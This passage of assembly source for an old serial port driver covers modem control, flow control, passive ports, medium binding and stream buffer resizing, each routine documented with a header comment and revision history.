mov ds:[bx].SPD_initState.SPS_modem, al
mov bx, ds:[bx].SPD_otherPortData
jmp done
notPreempted:
mov dx, ds:[bx].SPD_base
add dx, offset SP_modemCtrl
ornf al, mask SMC_OUT2
out dx, al
;
; 4/28/94: wait 3 clock ticks here to allow things to react to
; having DTR asserted. In particular, this is here to allow a
; serial -> parallel converter manufactured by GDT Softworks to
; power up -- ardeb
;
checkDTR::
mov ds:[bx].SPD_curState.SPS_modem, al
test al, mask SMC_DTR
jz done
mov ax, 3
call TimerSleep
done:
.leave
ret
SerialSetModem endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialGetModem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the modem-control bits for a port
CALLED BY: DR_SERIAL_GET_MODEM
PASS: bx = unit number (transformed to SerialPortData by
SerialStrategy)
RETURN: al = modem control bits (SerialModem).
DESTROYED: ax
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/14/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialGetModem proc near uses dx
.enter
;
; If this is a preempted port, grab the modem control bits
; from the curState rather than from the hardware (we
; don't have control of the hardware, after all).
;
test ds:[bx].SPD_passive, mask SPS_PREEMPTED
jz notPreempted
EC < xchg bx, si >
EC < call ECSerialVerifyPassive >
EC < xchg bx, si >
mov al, ds:[bx].SPD_curState.SPS_modem
jmp gotModem
notPreempted:
mov dx, ds:[bx].SPD_base
add dx, offset SP_modemCtrl
in al, dx
gotModem:
; deal with non-existent port being enabled by masking out all but the
; real modem bits, preventing BAD_MODEM_FLAGS in EC version when caller
; attempts to restore the original modem flags...
EC < andnf al, SerialModem >
.leave
ret
SerialGetModem endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialSetFlowControl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Change the flow-control used by a port
CALLED BY: DR_SERIAL_SET_FLOW_CONTROL
PASS: ax = SerialFlowControl record describing what method(s)
of control to use
bx = unit number (transformed to SerialPortData by
SerialStrategy)
cl = signal(s) to use to tell remote to stop sending
(SerialModem) if de-asserted
ch = signal(s) whose de-assertion indicates we should
stop sending (one or more of SMS_DCD, SMS_DSR
or SMS_CTS). If more than one signal is given, the
dropping of any will cause output to stop until
all signals are high again.
RETURN: Nothing
DESTROYED: ax, cx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 3/ 7/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialSetFlowControl proc near
uses dx
.enter
INT_OFF
EC < test ax, not SerialFlowControl >
EC < ERROR_NZ BAD_FLOW_CONTROL_FLAGS >
mov dl, ds:[bx].SPD_mode
; for Zoomer, we are not allowing Hardware Handshaking,
; due to the way the hardware was designed (cannot be interrupt
; driven as the modem signals are wire-or'ed to be the IRQ
; line, meaning the thing keeps interrupting as long as the
; other side has the signal dropped)
test al, mask SFC_SOFTWARE
jz clearSWFC
ornf dl, mask SF_SOFTWARE
jmp checkHWFC
clearSWFC:
andnf dl, not (mask SF_SOFTWARE or mask SF_XON or \
mask SF_XOFF or mask SF_SOFTSTOP)
checkHWFC:
test al, mask SFC_HARDWARE
jz clearHWFC
ornf dl, mask SF_HARDWARE
EC < test cl, not (mask SMC_RTS or mask SMC_DTR) >
EC < ERROR_NZ BAD_FLOW_CONTROL_FLAGS >
EC < test ch, not (mask SMS_CTS or mask SMS_DCD or mask SMS_DSR)>
EC < ERROR_NZ BAD_FLOW_CONTROL_FLAGS >
mov ds:[bx].SPD_stopCtrl, cl
mov ds:[bx].SPD_stopSignal, ch
; SIEN_MODEM IS THE SAME AS ZSIEN_MODEM SO NO NEED TO CHECK
; WHICH PORT IN ZOOMER CODE
ornf ds:[bx].SPD_ien, mask SIEN_MODEM
done:
;
; Adjust the port's interrupt-enable register to match what we want
; dl = SerialFlow to set
;
call SerialAdjustFCCommon
.leave
ret
clearHWFC:
andnf dl, not (mask SF_HARDWARE or mask SF_HARDSTOP)
tst ds:[bx].SPD_modemEvent.SN_type
jnz done ; Modem event registered -- leave modem
; status interrupt enabled.
; SIEN_MODEM IS THE SAME AS ZSIEN_MODEM SO NO NEED TO CHECK
; WHICH PORT IN ZOOMER CODE
andnf ds:[bx].SPD_ien, not mask SIEN_MODEM
jmp done
SerialSetFlowControl endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialEnableFlowControl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set whether flow control is enabled for either or both
sides of the serial port.
CALLED BY: DR_SERIAL_ENABLE_FLOW_CONTROL
PASS: ax = STREAM_READ/STREAM_WRITE/STREAM_BOTH
bx = unit
RETURN: carry set on error:
ax = STREAM_NO_DEVICE
= STREAM_CLOSED
carry clear if ok:
ax = destroyed
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 8/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialEnableFlowControl proc near
uses dx
.enter
EC < call ECVerifyReadWriteBothFlag >
INT_OFF
;
; Assume enabling flow control for both sides.
;
mov dl, ds:[bx].SPD_mode
ornf dl, mask SF_INPUT or mask SF_OUTPUT
CheckHack <(STREAM_WRITE and 1) eq 0>
CheckHack <(STREAM_BOTH and 1) eq 0>
test ax, 1
jz checkInput
;
; Disabling flow control for output. This means we clear SF_OUTPUT
; and also clear SF_SOFTSTOP and SF_HARDSTOP as we are no longer
; constrained not to transmit.
;
andnf dl, not (mask SF_OUTPUT or mask SF_SOFTSTOP or \
mask SF_HARDSTOP)
checkInput:
CheckHack <(STREAM_READ and 0x8000) eq 0x8000>
CheckHack <(STREAM_BOTH and 0x8000) eq 0x8000
tst ax
js setMode
;
; Disabling flow control for input. This means we clear SF_INPUT
; and also clear SF_XOFF and SF_XON flags (we clear SF_XON to
; ensure consistent behaviour: if the stream hadn't yet drained to
; the low water mark, we would not send an XON when the thing got
; there, so we shouldn't allow one to be sent on the next interrupt
; either; once you disable input flow control, you don't get an
; XON or XOFF generated, period)
;
andnf dl, not (mask SF_INPUT or mask SF_XOFF or mask SF_XON)
setMode:
call SerialAdjustFCCommon
.leave
ret
SerialEnableFlowControl endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialSetRole
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the role of the driver (either DCE or DTE)
CALLED BY: DR_SERIAL_SET_ROLE
PASS: al = SerialRole
bx = unit number
RETURN: carry set on error
carry clear if ok
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
This doesn't do anything for the serial driver, but the API needed to
be defined here so that it could be used in IrCOMM. If the serial
driver is ever to be used as a DCE, this routine will need to set the
state.
REVISION HISTORY:
Name Date Description
---- ---- -----------
grisco 12/12/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialSetRole proc near
clc
ret
SerialSetRole endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialGetDeviceMap
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fetch the map of existing stream devices for this driver
CALLED BY: DR_STREAM_GET_DEVICE_MAP
PASS: ds = dgroup (from SerialStrategy)
RETURN: ax = SerialDeviceMap
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 8/ 7/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialGetDeviceMap proc near
.enter
mov ax, ds:[deviceMap]
.leave
ret
SerialGetDeviceMap endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialDefinePort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Define an additional port for the driver to handle.
CALLED BY: DR_SERIAL_DEFINE_PORT
PASS: ax = base I/O port of device
cl = interrupt level for device
RETURN: bx = unit number for later calls.
carry set if port couldn't be defined (no interrupt vectors
available, e.g.)
DESTROYED: ax, cx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/14/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DefStub SerialDefinePort
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialStatPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check on the status of a serial port. (Must be Resident
for PCMCIA support)
CALLED BY: DR_SERIAL_STAT_PORT
PASS: bx = unit number (SerialPortNum)
RETURN: carry set if port doesn't exist
carry clear if port is known:
al = interrupt level (-1 => unknown)
ah = BB_TRUE if port is currently open
DESTROYED: nothing (interrupts turned on)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/21/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialStatPort proc near uses bx
.enter
call SerialGetPortData ; ds:bx <- SerialPortData
INT_OFF
tst ds:[bx].SPD_base
jz nonExistent
mov al, ds:[bx].SPD_irq
clr ah ; assume not open
push bx
mov bx, ds:[bx].SPD_openSem
tst ds:[bx].Sem_value ; (clears carry)
pop bx
jg done
dec ah
done:
INT_ON
.leave
ret
nonExistent:
stc
jmp done
SerialStatPort endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialGetPassiveState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Returns the status of a passive port.
CALLED BY: DR_SERIAL_GET_PASSIVE_STATE
PASS: bx = Serial unit number
RETURN: carry clear if the port exists and is available for passive use
carry set otherwise, and:
ax = STREAM_NO_DEVICE if the indicated unit
doesn't exist.
= STREAM_ACTIVE_IN_USE if the unit is
actively allocated, which means that
a passive allocation is allowed (but
will immediately block).
= STREAM_PASSIVE_IN_USE if the unit is
currently passively allocated. An attempted
SerialOpen will be unsuccessful.
If ax = STREAM_PASSIVE_IN_USE, check
cl for more details.
cl = SerialPassiveStatus for the open
port, with SPS_PREEMPTED and
SPS_BUFFER_FULL set as appropriate.
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
jdashe 5/24/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment
SerialGetPassiveState proc near
uses bx
.enter
call SerialGetPortData ; bx <- port data offset
EC < xchg si, bx >
EC < call ECSerialVerifyPassive >
EC < xchg si, bx >
tst ds:[bx].SPD_base
jnz checkPassiveInUse
mov ax, STREAM_NO_DEVICE
jmp error
checkPassiveInUse:
mov cl, ds:[bx].SPD_passive
IsPortOpen bx
jg portNotOpen
mov ax, STREAM_PASSIVE_IN_USE
jmp error
portNotOpen:
mov bx, ds:[bx].SPD_otherPortData
IsPortOpen bx
mov bx, ds:[bx].SPD_otherPortData
jg activeNotOpen
mov ax, STREAM_ACTIVE_IN_USE
jmp error
activeNotOpen:
clc
jmp exit
error:
stc
exit:
.leave
ret
SerialGetPassiveState endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ECSerialVerifyPassive
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Verifies that the passed offset points to a passive port's
SerialPortData structure rather than to an active port's.
PASS: ds:si - pointer to the port's data structure
RETURN: The Z flag set.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jdashe 4/27/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if ERROR_CHECK
Resident segment
ECSerialVerifyPassive proc far
.enter
;
; Passive ports are not yet available for the Zoomer.
;
if STANDARD_PC_HARDWARE
;
; See if it's one of the passive ports...
;
push es, di, cx
push bx
mov bx, handle dgroup
call MemDerefES
pop bx
; segmov es, dgroup, di
mov di, offset comPortsPassive
mov cx, length comPortsPassive
xchg ax, si
repne scasw
xchg ax, si
pop es, di, cx
ERROR_NE INVALID_PORT_DATA_OFFSET
;
; It's in the right place. Make sure the passive bit is set.
;
test ds:[si].SPD_passive, mask SPS_PASSIVE
ERROR_Z NOT_A_PASSIVE_PORT
cmp si, si ; cheesy way to set Z...
endif ; STANDARD_PC_HARDWARE
.leave
ret
ECSerialVerifyPassive endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ECSerialVerifyActive
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Verifies that the passed offset points to an active port's
SerialPortData structure rather than to a passive port's.
PASS: ds:si - pointer to the port's data structure
RETURN: The Z flag clear.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Hackish. The code assumes the passive port structure
definitions are placed after the active ones.
REVISION HISTORY:
Name Date Description
---- ---- -----------
jdashe 6/ 2/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ECSerialVerifyActive proc far
.enter
;
; Make sure the thing is a port at all.
;
cmp si, offset com1
ERROR_B INVALID_PORT_DATA_OFFSET
cmp si, LAST_ACTIVE_SERIAL_COMPORT
ERROR_A NOT_AN_ACTIVE_PORT ; It's something else.
;
; It's in the right place. Make sure the passive bit is clear.
;
test ds:[si].SPD_passive, mask SPS_PASSIVE
ERROR_NZ NOT_AN_ACTIVE_PORT
.leave
ret
ECSerialVerifyActive endp
Resident ends
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialGetMedium
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fetch the medium bound to a particular port
CALLED BY: DR_SERIAL_GET_MEDIUM
PASS: bx = unit number (SerialPortNum)
cx = medium # to fetch (0 == primary)
RETURN: carry set on error:
ax = STREAM_NO_DEVICE
carry clear if ok:
dxax = MediumType (medium.def)
DESTROYED: nothing
SIDE EFFECTS: none
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/22/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment resource
SerialGetMedium proc near
.enter
Assert l, cx, SERIAL_MAX_MEDIA
and bx, not SERIAL_PASSIVE ; ignore passive bit -- data
; set only on the active
call SerialGetPortData
tst_clc ds:[bx].SPD_base
jz honk
CheckHack <size MediumType eq 4>
mov ax, cx
shl ax
shl ax
add bx, ax ; offset bx by index into
; SPD_medium so next thing
; fetches the right medium out
movdw dxax, ds:[bx].SPD_medium
mov bx, ax
or bx, dx
jz noMedium ; => nothing in that slot
done:
.leave
ret
honk:
mov ax, STREAM_NO_DEVICE
error:
stc
jmp done
noMedium:
mov ax, STREAM_NO_SUCH_MEDIUM
jmp error
SerialGetMedium endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialSetMedium
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Specify the medium for a particular port.
CALLED BY: DR_SERIAL_SET_MEDIUM
PASS: bx = unit number (SerialPortNum)
ds = serialData segment (from SerialStrategy)
dx:ax = array of MediumTypes to bind to the port
cx = # of MediumTypes to bind to it
RETURN: carry set on error:
ax = STREAM_NO_DEVICE
carry clear if ok:
ax = destroyed
DESTROYED: nothing (bx, but that's saved by the caller)
SIDE EFFECTS: if port had medium bound, MESN_MEDIUM_NOT_AVAILABLE generated
for it
MESN_MEDIUM_AVAILABLE generated for new medium
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 9/22/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment resource
SerialSetMedium proc near
uses cx, dx, si, di
.enter
;
; Point to the port data and make sure it exists.
;
and bx, not SERIAL_PASSIVE ; ignore passive bit -- data
; set only on the active
mov si, bx
call SerialGetPortData
tst ds:[bx].SPD_base
jz honk
;
; First let the world know the currently bound media are gone, before
; we overwrite the info.
;
push si ; save port #
push dx, ax
mov di, MESN_MEDIUM_NOT_AVAILABLE
call SerialNotifyMedia
;
; Move the new media into the port data.
;
segmov es, ds
lea di, ds:[bx].SPD_medium
pop ds, si
Assert le, cx, SERIAL_MAX_MEDIA
CheckHack <size MediumType eq 4>
shl cx
mov dx, SERIAL_MAX_MEDIA * 2
sub dx, cx ; dx <- # words to zero
push si, cx, dx
rep movsw
mov cx, dx
clr ax
rep stosw ; mark the rest of the array
; invalid
;
; Now do the same for the passive port, please.
;
pop si, cx, dx
mov di, es:[bx].SPD_otherPortData
add di, offset SPD_medium
rep movsw
mov cx, dx
rep stosw
;
; Let the world know the thing exists.
;
pop si ; si <- port #
segmov ds, es ; ds:bx <- SPD
mov di, MESN_MEDIUM_AVAILABLE
call SerialNotifyMedia
clc
done:
.leave
ret
honk:
mov ax, STREAM_NO_DEVICE
stc
jmp done
SerialSetMedium endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialNotifyMedia
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send notification for each of the Media types bound to a port.
CALLED BY: (INTERNAL) SerialSetMedium
PASS: ds:bx = SerialPortData with SPD_medium set
si = SerialPortNum
di = MediumSubsystemNotification to send
RETURN: nothing
DESTROYED: ax, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 1/23/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialNotifyMedia proc near
uses si, bx, cx
.enter
add bx, offset SPD_medium
xchg bx, si ; bx <- unit #
; ds:si <- array
mov cx, SERIAL_MAX_MEDIA ; cx <- # media to check
mediumLoop:
;
; Fetch the next medium out of the array.
;
push cx
lodsw
mov_tr dx, ax ; dx <- low word
lodsw
mov cx, ax ; cxdx <- MediumType
or ax, dx
jz loopDone ; => GMID_INVALID, so done
;
; Send notification out for the medium.
;
mov al, MUT_INT
push si
mov si, SST_MEDIUM
call SysSendNotification
pop si ; ds:si <- next medium entry
pop cx ; cx <- loop counter
loop mediumLoop
done:
.leave
ret
loopDone:
pop cx
jmp done
SerialNotifyMedia endp
SerialSetMediumFAR proc far ; for SerialLookForMedium & SerialDefinePort to
; use
push bx
call SerialSetMedium
pop bx
ret
SerialSetMediumFAR endp
Resident ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialSetBufferSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Change the size of an open stream's buffers.
CALLED BY: DR_SERIAL_SET_BUFFER_SIZE
PASS: ax = STREAM_READ/STREAM_WRITE
bx = unit #
cx = new size
RETURN: carry set on error
DESTROYED: nothing
SIDE EFFECTS: if new size smaller than actual number of bytes, most recent
bytes will be discarded.
PSEUDO CODE/STRATEGY:
fetch & 0 the stream pointer for the appropriate side
compute new stream size
if too small to hold current # bytes, drop enough to leave
stream full
if shrinking & data wraps, move bytes down so last byte in
current buffer is before new SD_max. there must
be enough room in the buffer to do this without
overwriting anything vital, because of the size
adjusting we did in the previous step. set
SD_reader.SSD_ptr accordingly
MemRealloc the stream
if growing & data wraps, move data in last part of buffer up
to reach new SD_max
adjust SD_writer.SSD_sem.Sem_value by size difference
store new stream pointer back in appropriate side
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 8/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DefStub SerialSetBufferSize
OpenClose segment
SerialSetBufferSize proc far
.enter
;
; Figure which variable holds the stream pointer, based on what
; we were passed.
;
mov si, offset SPD_inStream
cmp ax, STREAM_READ
je haveStreamOffset
EC < cmp ax, STREAM_WRITE >
EC < ERROR_NE MUST_SPECIFY_READER_OR_WRITER >
mov si, offset SPD_outStream
haveStreamOffset:
;
; Make sure the new buffer size isn't too large.
;
cmp cx, STREAM_MAX_STREAM_SIZE
jb bufferSizeOk
mov ax, STREAM_BUFFER_TOO_LARGE
stc
jmp done
bufferSizeOk:
;
; Fetch the current stream out of the port and set the stream
; pointer to 0 for the duration. This will cause data to get dropped
; on the floor, etc., but that's fine by us.
;
push bx, si, ds
clr ax
xchg ax, ds:[bx][si]
tst ax
jz errBusy ; => no stream, so someone else
; must be doing something
;
; If we're not the only thread actively messing with this port, claim
; the thing is busy and do nothing.
;
cmp ds:[bx].SPD_refCount, 2
jne errBusy ; => another thread is doing
; stuff in here and might
; be dicking with this stream
;
; Figure how big to make the new stream buffer.
;
mov ds, ax ; ds <- stream
mov dx, ds:[SD_max] ; dx <- old size
add cx, size StreamData ; cx <- new size
;
; Shift the data around to account for any shrinkage we're about to
; perform.
;
call SerialAdjustForShrinkage
;
; Resize the stream block, please.
;
mov bx, ds:[SD_handle]
push cx
mov_tr ax, cx ; ax <- new size
clr cx
call MemReAlloc
pop cx ; cx <- new size
jc allocErr
;
; Shift the data around to account for any enlargement we just
; performed.
;
mov ds, ax ; ds <- stream, again
call SerialAdjustForGrowth
;
; All the new space or the lost old space come from the writer's side,
; as the data in the stream remain constant.
;
sub cx, dx ; cx <- size difference
Assert ge, ds:[SD_writer].SSD_sem.Sem_value, 0
add ds:[SD_writer].SSD_sem.Sem_value, cx
;
; The max value for the stream data pointer gets adjusted by the
; same amount, please.
;
add ds:[SD_max], cx
clc
mov ax, ds ; ax <- stream, for restoration
replaceStream:
;
; Restore the stream pointer in the SerialPortData
;
pop bx, si, ds
mov ds:[bx][si], ax
done:
.leave
ret
allocErr:
xchg cx, dx ; cx <- old size, dx <- new
call SerialAdjustForGrowth ; so we can pretend the stream
; grew to its old size and
; undo the work of
; SerialAdjustForShrinkage
mov ax, ds
mov cx, STREAM_CANNOT_ALLOC
stc
jmp replaceStream
errBusy:
mov cx, STREAM_BUSY
stc
jmp replaceStream
SerialSetBufferSize endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialAdjustForShrinkage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Discard enough data to make it fit in the new size, then
shift data down from the end of the buffer to fit under
the new limit
CALLED BY: (INTERNAL) SerialSetBufferSize
PASS: ds = stream being shrunk
dx = old size
cx = new size
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS: data in the buffer shifted to be below the new max
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/ 9/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialAdjustForShrinkage proc near
uses cx, si, di, es
.enter
mov ax, cx
sub ax, size StreamData
sub ax, ds:[SD_reader].SSD_sem.Sem_value
jge bytesWillFit
;
; Too many bytes in the stream. Scale back the SSD_sem and advance the
; SSD_ptr for the reader. We adjust the SD_writer.SSD_sem to account
; for the scaling back that'll happen in SerialSetBufferSize itself
; once all is said and done (and in case of error, too...).
;
add ds:[SD_reader].SSD_sem.Sem_value, ax
neg ax
add ds:[SD_writer].SSD_sem.Sem_value, ax
add ax, ds:[SD_reader].SSD_ptr
cmp ax, ds:[SD_max] ; wrap around end?
jb setReaderPtr ; no
sub ax, ds:[SD_max] ; ax <- amount of wrap
add ax, offset SD_data ; ax <- new pointer
setReaderPtr:
mov ds:[SD_reader].SSD_ptr, ax
bytesWillFit:
;
; There is now room for all the bytes in the new world order. See
; if we need to move any data down from the end of the buffer.
; Note that if the two SSD_ptrs are equal, it either means the buffer
; is empty (in which case we need only shift stuff down to the bottom
; of the buffer) or the buffer is full, which means we're not actually
; shrinking (else we would have thrown away some bytes, above...).
;
segmov es, ds ; for moving
mov ax, ds:[SD_writer].SSD_ptr
cmp ax, ds:[SD_reader].SSD_ptr
jae noWrap ; => contiguous or empty
;
; Data wraps around the end of the buffer. If we're actually shrinking,
; we have to shift that data down by the size difference.
;
sub cx, dx
jae done ; => buffer growing, so don't
; care yet.
mov si, ds:[SD_reader].SSD_ptr
mov di, si
add di, cx ; di <- destination
Assert ae, di, ds:[SD_writer].SSD_ptr
mov ds:[SD_reader].SSD_ptr, di
mov cx, ds:[SD_max]
sub cx, si ; cx <- # bytes to move
rep movsb
jmp done
noWrap:
;
; Ok, the data is contiguous or the buffer is empty, but it (the data
; or the pointers) might still be in the way.
;
cmp ax, cx ; write pointer after new max?
jbe done ; => no so not in the way
;
; Is in the way. Just shift the whole thing down to the start of
; the buffer. For an empty buffer, this moves nothing, but does set
; the SSD_ptr variables to SD_data, which is where we want them.
;
mov si, ds:[SD_reader].SSD_ptr
mov cx, ax ; cx <- write pointer
sub cx, si ; cx <- # bytes to move
mov di, offset SD_data ; es:di <- dest
mov ds:[SD_reader].SSD_ptr, di
rep movsb
mov ds:[SD_writer].SSD_ptr, di
done:
.leave
ret
SerialAdjustForShrinkage endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialAdjustForGrowth
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Shift any data at the end of the ring buffer up to be at the
new end of the ring buffer.
CALLED BY: (INTERNAL) SerialSetBufferSize
PASS: ds = stream affected
cx = new size
dx = old size
RETURN: nothing
DESTROYED: ax
